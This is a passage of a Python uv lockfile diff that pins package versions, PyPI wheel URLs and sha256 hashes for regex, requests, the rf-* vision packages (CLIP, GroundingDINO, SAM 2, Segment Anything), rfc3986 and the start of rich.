"https://files.pythonhosted.org/packages/b2/87/b0cda79f22b8dee05f774922a214da109f9a4c0eca5da2c9d72d77ea062c/regex-2026.1.15-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:4c5ef43b5c2d4114eb8ea424bb8c9cec01d5d17f242af88b2448f5ee81caadbc", size = 288895, upload-time = "2026-01-14T23:15:17.788Z" }, + { url = "https://files.pythonhosted.org/packages/3b/6a/0041f0a2170d32be01ab981d6346c83a8934277d82c780d60b127331f264/regex-2026.1.15-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:968c14d4f03e10b2fd960f1d5168c1f0ac969381d3c1fcc973bc45fb06346599", size = 798680, upload-time = "2026-01-14T23:15:19.342Z" }, + { url = "https://files.pythonhosted.org/packages/58/de/30e1cfcdbe3e891324aa7568b7c968771f82190df5524fabc1138cb2d45a/regex-2026.1.15-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:56a5595d0f892f214609c9f76b41b7428bed439d98dc961efafdd1354d42baae", size = 864210, upload-time = "2026-01-14T23:15:22.005Z" }, + { url = "https://files.pythonhosted.org/packages/64/44/4db2f5c5ca0ccd40ff052ae7b1e9731352fcdad946c2b812285a7505ca75/regex-2026.1.15-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:0bf650f26087363434c4e560011f8e4e738f6f3e029b85d4904c50135b86cfa5", size = 912358, upload-time = "2026-01-14T23:15:24.569Z" }, + { url = "https://files.pythonhosted.org/packages/79/b6/e6a5665d43a7c42467138c8a2549be432bad22cbd206f5ec87162de74bd7/regex-2026.1.15-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:18388a62989c72ac24de75f1449d0fb0b04dfccd0a1a7c1c43af5eb503d890f6", size = 803583, upload-time = "2026-01-14T23:15:26.526Z" }, + { url = "https://files.pythonhosted.org/packages/e7/53/7cd478222169d85d74d7437e74750005e993f52f335f7c04ff7adfda3310/regex-2026.1.15-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:6d220a2517f5893f55daac983bfa9fe998a7dbcaee4f5d27a88500f8b7873788", size = 775782, upload-time = "2026-01-14T23:15:29.352Z" }, + { url = "https://files.pythonhosted.org/packages/ca/b5/75f9a9ee4b03a7c009fe60500fe550b45df94f0955ca29af16333ef557c5/regex-2026.1.15-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:c9c08c2fbc6120e70abff5d7f28ffb4d969e14294fb2143b4b5c7d20e46d1714", size = 787978, upload-time = "2026-01-14T23:15:31.295Z" }, + { url = "https://files.pythonhosted.org/packages/72/b3/79821c826245bbe9ccbb54f6eadb7879c722fd3e0248c17bfc90bf54e123/regex-2026.1.15-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:7ef7d5d4bd49ec7364315167a4134a015f61e8266c6d446fc116a9ac4456e10d", size = 858550, upload-time = "2026-01-14T23:15:33.558Z" }, + { url = "https://files.pythonhosted.org/packages/4a/85/2ab5f77a1c465745bfbfcb3ad63178a58337ae8d5274315e2cc623a822fa/regex-2026.1.15-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:6e42844ad64194fa08d5ccb75fe6a459b9b08e6d7296bd704460168d58a388f3", size = 763747, upload-time = "2026-01-14T23:15:35.206Z" }, + { url = "https://files.pythonhosted.org/packages/6d/84/c27df502d4bfe2873a3e3a7cf1bdb2b9cc10284d1a44797cf38bed790470/regex-2026.1.15-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:cfecdaa4b19f9ca534746eb3b55a5195d5c95b88cac32a205e981ec0a22b7d31", size = 850615, upload-time = "2026-01-14T23:15:37.523Z" }, + { url = "https://files.pythonhosted.org/packages/7d/b7/658a9782fb253680aa8ecb5ccbb51f69e088ed48142c46d9f0c99b46c575/regex-2026.1.15-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:08df9722d9b87834a3d701f3fca570b2be115654dbfd30179f30ab2f39d606d3", size = 789951, upload-time = "2026-01-14T23:15:39.582Z" }, + { url = "https://files.pythonhosted.org/packages/fc/2a/5928af114441e059f15b2f63e188bd00c6529b3051c974ade7444b85fcda/regex-2026.1.15-cp313-cp313-win32.whl", hash = "sha256:d426616dae0967ca225ab12c22274eb816558f2f99ccb4a1d52ca92e8baf180f", size = 266275, upload-time = "2026-01-14T23:15:42.108Z" }, + { url = "https://files.pythonhosted.org/packages/4f/16/5bfbb89e435897bff28cf0352a992ca719d9e55ebf8b629203c96b6ce4f7/regex-2026.1.15-cp313-cp313-win_amd64.whl", hash = "sha256:febd38857b09867d3ed3f4f1af7d241c5c50362e25ef43034995b77a50df494e", size = 277145, upload-time = "2026-01-14T23:15:44.244Z" }, + { url = "https://files.pythonhosted.org/packages/56/c1/a09ff7392ef4233296e821aec5f78c51be5e91ffde0d163059e50fd75835/regex-2026.1.15-cp313-cp313-win_arm64.whl", hash = "sha256:8e32f7896f83774f91499d239e24cebfadbc07639c1494bb7213983842348337", size = 270411, upload-time = "2026-01-14T23:15:45.858Z" }, + { url = "https://files.pythonhosted.org/packages/3c/38/0cfd5a78e5c6db00e6782fdae70458f89850ce95baa5e8694ab91d89744f/regex-2026.1.15-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:ec94c04149b6a7b8120f9f44565722c7ae31b7a6d2275569d2eefa76b83da3be", size = 492068, upload-time = "2026-01-14T23:15:47.616Z" }, + { url = "https://files.pythonhosted.org/packages/50/72/6c86acff16cb7c959c4355826bbf06aad670682d07c8f3998d9ef4fee7cd/regex-2026.1.15-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:40c86d8046915bb9aeb15d3f3f15b6fd500b8ea4485b30e1bbc799dab3fe29f8", size = 292756, upload-time = "2026-01-14T23:15:49.307Z" }, + { url = "https://files.pythonhosted.org/packages/4e/58/df7fb69eadfe76526ddfce28abdc0af09ffe65f20c2c90932e89d705153f/regex-2026.1.15-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:726ea4e727aba21643205edad8f2187ec682d3305d790f73b7a51c7587b64bdd", size = 291114, upload-time = "2026-01-14T23:15:51.484Z" }, + { url = "https://files.pythonhosted.org/packages/ed/6c/a4011cd1cf96b90d2cdc7e156f91efbd26531e822a7fbb82a43c1016678e/regex-2026.1.15-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1cb740d044aff31898804e7bf1181cc72c03d11dfd19932b9911ffc19a79070a", size = 807524, upload-time = "2026-01-14T23:15:53.102Z" }, + { url = "https://files.pythonhosted.org/packages/1d/25/a53ffb73183f69c3e9f4355c4922b76d2840aee160af6af5fac229b6201d/regex-2026.1.15-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:05d75a668e9ea16f832390d22131fe1e8acc8389a694c8febc3e340b0f810b93", size = 873455, upload-time = "2026-01-14T23:15:54.956Z" }, + { url = "https://files.pythonhosted.org/packages/66/0b/8b47fc2e8f97d9b4a851736f3890a5f786443aa8901061c55f24c955f45b/regex-2026.1.15-cp313-cp313t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d991483606f3dbec93287b9f35596f41aa2e92b7c2ebbb935b63f409e243c9af", size = 915007, upload-time = "2026-01-14T23:15:57.041Z" }, + { url = "https://files.pythonhosted.org/packages/c2/fa/97de0d681e6d26fabe71968dbee06dd52819e9a22fdce5dac7256c31ed84/regex-2026.1.15-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:194312a14819d3e44628a44ed6fea6898fdbecb0550089d84c403475138d0a09", size = 812794, upload-time = "2026-01-14T23:15:58.916Z" }, + { url = "https://files.pythonhosted.org/packages/22/38/e752f94e860d429654aa2b1c51880bff8dfe8f084268258adf9151cf1f53/regex-2026.1.15-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:fe2fda4110a3d0bc163c2e0664be44657431440722c5c5315c65155cab92f9e5", size = 781159, upload-time = "2026-01-14T23:16:00.817Z" }, + { url = "https://files.pythonhosted.org/packages/e9/a7/d739ffaef33c378fc888302a018d7f81080393d96c476b058b8c64fd2b0d/regex-2026.1.15-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:124dc36c85d34ef2d9164da41a53c1c8c122cfb1f6e1ec377a1f27ee81deb794", size = 795558, upload-time = "2026-01-14T23:16:03.267Z" }, + { url = "https://files.pythonhosted.org/packages/3e/c4/542876f9a0ac576100fc73e9c75b779f5c31e3527576cfc9cb3009dcc58a/regex-2026.1.15-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:a1774cd1981cd212506a23a14dba7fdeaee259f5deba2df6229966d9911e767a", size = 868427, upload-time = "2026-01-14T23:16:05.646Z" }, + { url = "https://files.pythonhosted.org/packages/fc/0f/d5655bea5b22069e32ae85a947aa564912f23758e112cdb74212848a1a1b/regex-2026.1.15-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:b5f7d8d2867152cdb625e72a530d2ccb48a3d199159144cbdd63870882fb6f80", size = 769939, upload-time = "2026-01-14T23:16:07.542Z" }, + { url = "https://files.pythonhosted.org/packages/20/06/7e18a4fa9d326daeda46d471a44ef94201c46eaa26dbbb780b5d92cbfdda/regex-2026.1.15-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:492534a0ab925d1db998defc3c302dae3616a2fc3fe2e08db1472348f096ddf2", size = 854753, upload-time = "2026-01-14T23:16:10.395Z" }, + { url = "https://files.pythonhosted.org/packages/3b/67/dc8946ef3965e166f558ef3b47f492bc364e96a265eb4a2bb3ca765c8e46/regex-2026.1.15-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:c661fc820cfb33e166bf2450d3dadbda47c8d8981898adb9b6fe24e5e582ba60", size = 799559, upload-time = "2026-01-14T23:16:12.347Z" }, + { url = "https://files.pythonhosted.org/packages/a5/61/1bba81ff6d50c86c65d9fd84ce9699dd106438ee4cdb105bf60374ee8412/regex-2026.1.15-cp313-cp313t-win32.whl", hash = "sha256:99ad739c3686085e614bf77a508e26954ff1b8f14da0e3765ff7abbf7799f952", size = 268879, upload-time = "2026-01-14T23:16:14.049Z" }, + { url = "https://files.pythonhosted.org/packages/e9/5e/cef7d4c5fb0ea3ac5c775fd37db5747f7378b29526cc83f572198924ff47/regex-2026.1.15-cp313-cp313t-win_amd64.whl", hash = "sha256:32655d17905e7ff8ba5c764c43cb124e34a9245e45b83c22e81041e1071aee10", size = 280317, upload-time = "2026-01-14T23:16:15.718Z" }, + { url = "https://files.pythonhosted.org/packages/b4/52/4317f7a5988544e34ab57b4bde0f04944c4786128c933fb09825924d3e82/regex-2026.1.15-cp313-cp313t-win_arm64.whl", hash = "sha256:b2a13dd6a95e95a489ca242319d18fc02e07ceb28fa9ad146385194d95b3c829", size = 271551, upload-time = "2026-01-14T23:16:17.533Z" }, + { url = "https://files.pythonhosted.org/packages/52/0a/47fa888ec7cbbc7d62c5f2a6a888878e76169170ead271a35239edd8f0e8/regex-2026.1.15-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:d920392a6b1f353f4aa54328c867fec3320fa50657e25f64abf17af054fc97ac", size = 489170, upload-time = "2026-01-14T23:16:19.835Z" }, + { url = "https://files.pythonhosted.org/packages/ac/c4/d000e9b7296c15737c9301708e9e7fbdea009f8e93541b6b43bdb8219646/regex-2026.1.15-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:b5a28980a926fa810dbbed059547b02783952e2efd9c636412345232ddb87ff6", size = 291146, upload-time = "2026-01-14T23:16:21.541Z" }, + { url = "https://files.pythonhosted.org/packages/f9/b6/921cc61982e538682bdf3bdf5b2c6ab6b34368da1f8e98a6c1ddc503c9cf/regex-2026.1.15-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:621f73a07595d83f28952d7bd1e91e9d1ed7625fb7af0064d3516674ec93a2a2", size = 288986, upload-time = "2026-01-14T23:16:23.381Z" }, + { url = "https://files.pythonhosted.org/packages/ca/33/eb7383dde0bbc93f4fb9d03453aab97e18ad4024ac7e26cef8d1f0a2cff0/regex-2026.1.15-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3d7d92495f47567a9b1669c51fc8d6d809821849063d168121ef801bbc213846", size = 799098, upload-time = "2026-01-14T23:16:25.088Z" }, + { url = "https://files.pythonhosted.org/packages/27/56/b664dccae898fc8d8b4c23accd853f723bde0f026c747b6f6262b688029c/regex-2026.1.15-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8dd16fba2758db7a3780a051f245539c4451ca20910f5a5e6ea1c08d06d4a76b", size = 864980, upload-time = "2026-01-14T23:16:27.297Z" }, + { url = "https://files.pythonhosted.org/packages/16/40/0999e064a170eddd237bae9ccfcd8f28b3aa98a38bf727a086425542a4fc/regex-2026.1.15-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:1e1808471fbe44c1a63e5f577a1d5f02fe5d66031dcbdf12f093ffc1305a858e", size = 911607, upload-time = "2026-01-14T23:16:29.235Z" }, + { url = "https://files.pythonhosted.org/packages/07/78/c77f644b68ab054e5a674fb4da40ff7bffb2c88df58afa82dbf86573092d/regex-2026.1.15-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0751a26ad39d4f2ade8fe16c59b2bf5cb19eb3d2cd543e709e583d559bd9efde", size = 803358, upload-time = "2026-01-14T23:16:31.369Z" }, + { url = "https://files.pythonhosted.org/packages/27/31/d4292ea8566eaa551fafc07797961c5963cf5235c797cc2ae19b85dfd04d/regex-2026.1.15-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:0f0c7684c7f9ca241344ff95a1de964f257a5251968484270e91c25a755532c5", size = 775833, upload-time = "2026-01-14T23:16:33.141Z" }, + { url = "https://files.pythonhosted.org/packages/ce/b2/cff3bf2fea4133aa6fb0d1e370b37544d18c8350a2fa118c7e11d1db0e14/regex-2026.1.15-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:74f45d170a21df41508cb67165456538425185baaf686281fa210d7e729abc34", size = 788045, upload-time = "2026-01-14T23:16:35.005Z" }, + { url = "https://files.pythonhosted.org/packages/8d/99/2cb9b69045372ec877b6f5124bda4eb4253bc58b8fe5848c973f752bc52c/regex-2026.1.15-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:f1862739a1ffb50615c0fde6bae6569b5efbe08d98e59ce009f68a336f64da75", size = 859374, upload-time = "2026-01-14T23:16:36.919Z" }, + { url = "https://files.pythonhosted.org/packages/09/16/710b0a5abe8e077b1729a562d2f297224ad079f3a66dce46844c193416c8/regex-2026.1.15-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:453078802f1b9e2b7303fb79222c054cb18e76f7bdc220f7530fdc85d319f99e", size = 763940, upload-time = "2026-01-14T23:16:38.685Z" }, + { url = "https://files.pythonhosted.org/packages/dd/d1/7585c8e744e40eb3d32f119191969b91de04c073fca98ec14299041f6e7e/regex-2026.1.15-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:a30a68e89e5a218b8b23a52292924c1f4b245cb0c68d1cce9aec9bbda6e2c160", size = 850112, upload-time = "2026-01-14T23:16:40.646Z" }, + { url = "https://files.pythonhosted.org/packages/af/d6/43e1dd85df86c49a347aa57c1f69d12c652c7b60e37ec162e3096194a278/regex-2026.1.15-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:9479cae874c81bf610d72b85bb681a94c95722c127b55445285fb0e2c82db8e1", size = 789586, upload-time = "2026-01-14T23:16:42.799Z" }, + { url = "https://files.pythonhosted.org/packages/93/38/77142422f631e013f316aaae83234c629555729a9fbc952b8a63ac91462a/regex-2026.1.15-cp314-cp314-win32.whl", hash = "sha256:d639a750223132afbfb8f429c60d9d318aeba03281a5f1ab49f877456448dcf1", size = 271691, upload-time = "2026-01-14T23:16:44.671Z" }, + { url = "https://files.pythonhosted.org/packages/4a/a9/ab16b4649524ca9e05213c1cdbb7faa85cc2aa90a0230d2f796cbaf22736/regex-2026.1.15-cp314-cp314-win_amd64.whl", hash = "sha256:4161d87f85fa831e31469bfd82c186923070fc970b9de75339b68f0c75b51903", size = 280422, upload-time = "2026-01-14T23:16:46.607Z" }, + { url = "https://files.pythonhosted.org/packages/be/2a/20fd057bf3521cb4791f69f869635f73e0aaf2b9ad2d260f728144f9047c/regex-2026.1.15-cp314-cp314-win_arm64.whl", hash = "sha256:91c5036ebb62663a6b3999bdd2e559fd8456d17e2b485bf509784cd31a8b1705", size = 273467, upload-time = "2026-01-14T23:16:48.967Z" }, + { url = "https://files.pythonhosted.org/packages/ad/77/0b1e81857060b92b9cad239104c46507dd481b3ff1fa79f8e7f865aae38a/regex-2026.1.15-cp314-cp314t-macosx_10_13_universal2.whl", hash = "sha256:ee6854c9000a10938c79238de2379bea30c82e4925a371711af45387df35cab8", size = 492073, upload-time = "2026-01-14T23:16:51.154Z" }, + { url = "https://files.pythonhosted.org/packages/70/f3/f8302b0c208b22c1e4f423147e1913fd475ddd6230565b299925353de644/regex-2026.1.15-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:2c2b80399a422348ce5de4fe40c418d6299a0fa2803dd61dc0b1a2f28e280fcf", size = 292757, upload-time = "2026-01-14T23:16:53.08Z" }, + { url = "https://files.pythonhosted.org/packages/bf/f0/ef55de2460f3b4a6da9d9e7daacd0cb79d4ef75c64a2af316e68447f0df0/regex-2026.1.15-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:dca3582bca82596609959ac39e12b7dad98385b4fefccb1151b937383cec547d", size = 291122, upload-time = "2026-01-14T23:16:55.383Z" }, + { url = "https://files.pythonhosted.org/packages/cf/55/bb8ccbacabbc3a11d863ee62a9f18b160a83084ea95cdfc5d207bfc3dd75/regex-2026.1.15-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ef71d476caa6692eea743ae5ea23cde3260677f70122c4d258ca952e5c2d4e84", size = 807761, upload-time = "2026-01-14T23:16:57.251Z" }, + { url = "https://files.pythonhosted.org/packages/8f/84/f75d937f17f81e55679a0509e86176e29caa7298c38bd1db7ce9c0bf6075/regex-2026.1.15-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:c243da3436354f4af6c3058a3f81a97d47ea52c9bd874b52fd30274853a1d5df", size = 873538, upload-time = "2026-01-14T23:16:59.349Z" }, + { url = "https://files.pythonhosted.org/packages/b8/d9/0da86327df70349aa8d86390da91171bd3ca4f0e7c1d1d453a9c10344da3/regex-2026.1.15-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:8355ad842a7c7e9e5e55653eade3b7d1885ba86f124dd8ab1f722f9be6627434", size = 915066, upload-time = "2026-01-14T23:17:01.607Z" }, + { url = "https://files.pythonhosted.org/packages/2a/5e/f660fb23fc77baa2a61aa1f1fe3a4eea2bbb8a286ddec148030672e18834/regex-2026.1.15-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f192a831d9575271a22d804ff1a5355355723f94f31d9eef25f0d45a152fdc1a", size = 812938, upload-time = "2026-01-14T23:17:04.366Z" }, + { url = "https://files.pythonhosted.org/packages/69/33/a47a29bfecebbbfd1e5cd3f26b28020a97e4820f1c5148e66e3b7d4b4992/regex-2026.1.15-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:166551807ec20d47ceaeec380081f843e88c8949780cd42c40f18d16168bed10", size = 781314, upload-time = "2026-01-14T23:17:06.378Z" }, + { url = "https://files.pythonhosted.org/packages/65/ec/7ec2bbfd4c3f4e494a24dec4c6943a668e2030426b1b8b949a6462d2c17b/regex-2026.1.15-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:f9ca1cbdc0fbfe5e6e6f8221ef2309988db5bcede52443aeaee9a4ad555e0dac", size = 795652, upload-time = "2026-01-14T23:17:08.521Z" }, + { url = "https://files.pythonhosted.org/packages/46/79/a5d8651ae131fe27d7c521ad300aa7f1c7be1dbeee4d446498af5411b8a9/regex-2026.1.15-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:b30bcbd1e1221783c721483953d9e4f3ab9c5d165aa709693d3f3946747b1aea", size = 868550, upload-time = "2026-01-14T23:17:10.573Z" }, + { url = "https://files.pythonhosted.org/packages/06/b7/25635d2809664b79f183070786a5552dd4e627e5aedb0065f4e3cf8ee37d/regex-2026.1.15-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:2a8d7b50c34578d0d3bf7ad58cde9652b7d683691876f83aedc002862a35dc5e", size = 769981, upload-time = "2026-01-14T23:17:12.871Z" }, + { url = "https://files.pythonhosted.org/packages/16/8b/fc3fcbb2393dcfa4a6c5ffad92dc498e842df4581ea9d14309fcd3c55fb9/regex-2026.1.15-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:9d787e3310c6a6425eb346be4ff2ccf6eece63017916fd77fe8328c57be83521", size = 854780, upload-time = "2026-01-14T23:17:14.837Z" }, + { url = "https://files.pythonhosted.org/packages/d0/38/dde117c76c624713c8a2842530be9c93ca8b606c0f6102d86e8cd1ce8bea/regex-2026.1.15-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:619843841e220adca114118533a574a9cd183ed8a28b85627d2844c500a2b0db", size = 799778, upload-time = "2026-01-14T23:17:17.369Z" }, + { url = "https://files.pythonhosted.org/packages/e3/0d/3a6cfa9ae99606afb612d8fb7a66b245a9d5ff0f29bb347c8a30b6ad561b/regex-2026.1.15-cp314-cp314t-win32.whl", hash = "sha256:e90b8db97f6f2c97eb045b51a6b2c5ed69cedd8392459e0642d4199b94fabd7e", size = 274667, upload-time = "2026-01-14T23:17:19.301Z" }, + { url = "https://files.pythonhosted.org/packages/5b/b2/297293bb0742fd06b8d8e2572db41a855cdf1cae0bf009b1cb74fe07e196/regex-2026.1.15-cp314-cp314t-win_amd64.whl", hash = "sha256:5ef19071f4ac9f0834793af85bd04a920b4407715624e40cb7a0631a11137cdf", size = 284386, upload-time = "2026-01-14T23:17:21.231Z" }, + { url = "https://files.pythonhosted.org/packages/95/e4/a3b9480c78cf8ee86626cb06f8d931d74d775897d44201ccb813097ae697/regex-2026.1.15-cp314-cp314t-win_arm64.whl", hash = "sha256:ca89c5e596fc05b015f27561b3793dc2fa0917ea0d7507eebb448efd35274a70", size = 274837, upload-time = "2026-01-14T23:17:23.146Z" }, +] + +[[package]] +name = "requests" +version = "2.32.4" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "certifi" }, + { name = "charset-normalizer" }, + { name = "idna" }, + { name = "urllib3" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/e1/0a/929373653770d8a0d7ea76c37de6e41f11eb07559b103b1c02cafb3f7cf8/requests-2.32.4.tar.gz", hash = "sha256:27d0316682c8a29834d3264820024b62a36942083d52caf2f14c0591336d3422", size = 135258, upload-time = "2025-06-09T16:43:07.34Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7c/e4/56027c4a6b4ae70ca9de302488c5ca95ad4a39e190093d6c1a8ace08341b/requests-2.32.4-py3-none-any.whl", hash = "sha256:27babd3cda2a6d50b30443204ee89830707d396671944c998b5975b031ac2b2c", size = 64847, upload-time = "2025-06-09T16:43:05.728Z" }, +] + +[[package]] +name = "requests-file" +version = "3.0.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "requests" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/3c/f8/5dc70102e4d337063452c82e1f0d95e39abfe67aa222ed8a5ddeb9df8de8/requests_file-3.0.1.tar.gz", hash = "sha256:f14243d7796c588f3521bd423c5dea2ee4cc730e54a3cac9574d78aca1272576", size = 6967, upload-time = "2025-10-20T18:56:42.279Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e1/d5/de8f089119205a09da657ed4784c584ede8381a0ce6821212a6d4ca47054/requests_file-3.0.1-py2.py3-none-any.whl", hash = "sha256:d0f5eb94353986d998f80ac63c7f146a307728be051d4d1cd390dbdb59c10fa2", size = 4514, upload-time = "2025-10-20T18:56:41.184Z" }, +] + +[[package]] +name = "requests-toolbelt" +version = "1.0.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "requests" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/f3/61/d7545dafb7ac2230c70d38d31cbfe4cc64f7144dc41f6e4e4b78ecd9f5bb/requests-toolbelt-1.0.0.tar.gz", hash = "sha256:7681a0a3d047012b5bdc0ee37d7f8f07ebe76ab08caeccfc3921ce23c88d5bc6", size = 206888, upload-time = "2023-05-01T04:11:33.229Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/3f/51/d4db610ef29373b879047326cbf6fa98b6c1969d6f6dc423279de2b1be2c/requests_toolbelt-1.0.0-py2.py3-none-any.whl", hash = "sha256:cccfdd665f0a24fcf4726e690f65639d272bb0637b9b92dfd91a5568ccf6bd06", size = 54481, upload-time = "2023-05-01T04:11:28.427Z" }, +] + +[[package]] +name = "rf-clip" +version = "1.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "ftfy" }, + { name = "packaging" }, + { name = "regex" }, + { name = "torch" }, + { name = "torchvision" }, + { name = "tqdm" }, +] +wheels = [ + { url = "https://files.pythonhosted.org/packages/c4/5a/a26dda918259a9c89cf690b3c26cf43df656378da2dc8fdebc96ed87f2a4/rf_clip-1.1-py3-none-any.whl", hash = "sha256:c800aead16b0dd6f09004cb4510918e0d1b62c5690bba8db726931645d2a5e75", size = 1369526, upload-time = "2024-08-09T11:27:40.241Z" }, +] + +[[package]] +name = "rf-groundingdino" +version = "0.3.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "addict" }, + { name = "numpy" }, + { name = "opencv-python" }, + { name = "pycocotools" }, + { name = "supervision" }, + { name = "timm" }, + { name = "torch" }, + { name = "torchvision" }, + { name = "transformers" }, + { name = "yapf" }, +] +wheels = [ + { url = "https://files.pythonhosted.org/packages/9e/bd/bca9279889ec96aabaaeb661dd0449671fbe65e5259066966c1a69984f73/rf_groundingdino-0.3.0-py2.py3-none-any.whl", hash = "sha256:72454c48e36630b2780b4344431cfacc84f742a3e717d01282c11e8e08a7ddc6", size = 93221, upload-time = "2025-12-08T17:33:06.99Z" }, +] + +[[package]] +name = "rf-sam-2" +version = "1.0.3" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "hydra-core" }, + { name = "iopath" }, + { name = "numpy" }, + { name = "pillow" }, + { name = "torch" }, + { name = "torchvision" }, + { name = "tqdm" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/28/d0/c2bf6d697b7974f85ea01d8dd1bb6e7f071ebe44dfd4e84e0b49b7a3ff87/rf_sam_2-1.0.3.tar.gz", hash = "sha256:9e7f44b5b67e094f58b1a689aa63605f597e50ec7113d73b33c578e2762ea856", size = 126639, upload-time = "2026-02-02T17:58:26.028Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/5f/a6/9b80d0b5d0d096a8ff985aca9480661e19fa40cc07e633659fbe39c34bbc/rf_sam_2-1.0.3-py3-none-any.whl", hash = "sha256:d0fac4597c293b4e7f53fa92d1530bf64455f1ad7b713cd7d6bed6a2701adeda", size = 119289, upload-time = "2026-02-02T17:58:24.837Z" }, +] + +[[package]] +name = "rf-segment-anything" +version = "1.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/ee/41/695834cc9c82c04bdb51cf5ac14103bc3fd3d5d4aff1315a422f7a165fac/rf_segment_anything-1.0.tar.gz", hash = "sha256:29aa8ebdf6a821c0583d3fcaa716aa3d2bc75442cd558a88c93f323bf51e067b", size = 31896, upload-time = "2023-05-25T17:56:00.999Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/55/ca/c976a2d52068cb0ab2f9a6656a2881a67030c9aa70549ad1bc9165a15fc5/rf_segment_anything-1.0-py3-none-any.whl", hash = "sha256:8aa3b56bb776f73e3680dd1fd6b905c4e0e8281de71096a26f6d74dd716fad04", size = 36656, upload-time = "2023-05-25T17:55:58.788Z" }, +] + +[[package]] +name = "rfc3986" +version = "2.0.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/85/40/1520d68bfa07ab5a6f065a186815fb6610c86fe957bc065754e47f7b0840/rfc3986-2.0.0.tar.gz", hash = "sha256:97aacf9dbd4bfd829baad6e6309fa6573aaf1be3f6fa735c8ab05e46cecb261c", size = 49026, upload-time = "2022-01-10T00:52:30.832Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ff/9a/9afaade874b2fa6c752c36f1548f718b5b83af81ed9b76628329dab81c1b/rfc3986-2.0.0-py2.py3-none-any.whl", hash = "sha256:50b1502b60e289cb37883f3dfd34532b8873c7de9f49bb546641ce9cbd256ebd", size = 31326, upload-time = "2022-01-10T00:52:29.594Z" }, +] + +[[package]] +name = "rich" +version = "14.3.3" +source = { registry = 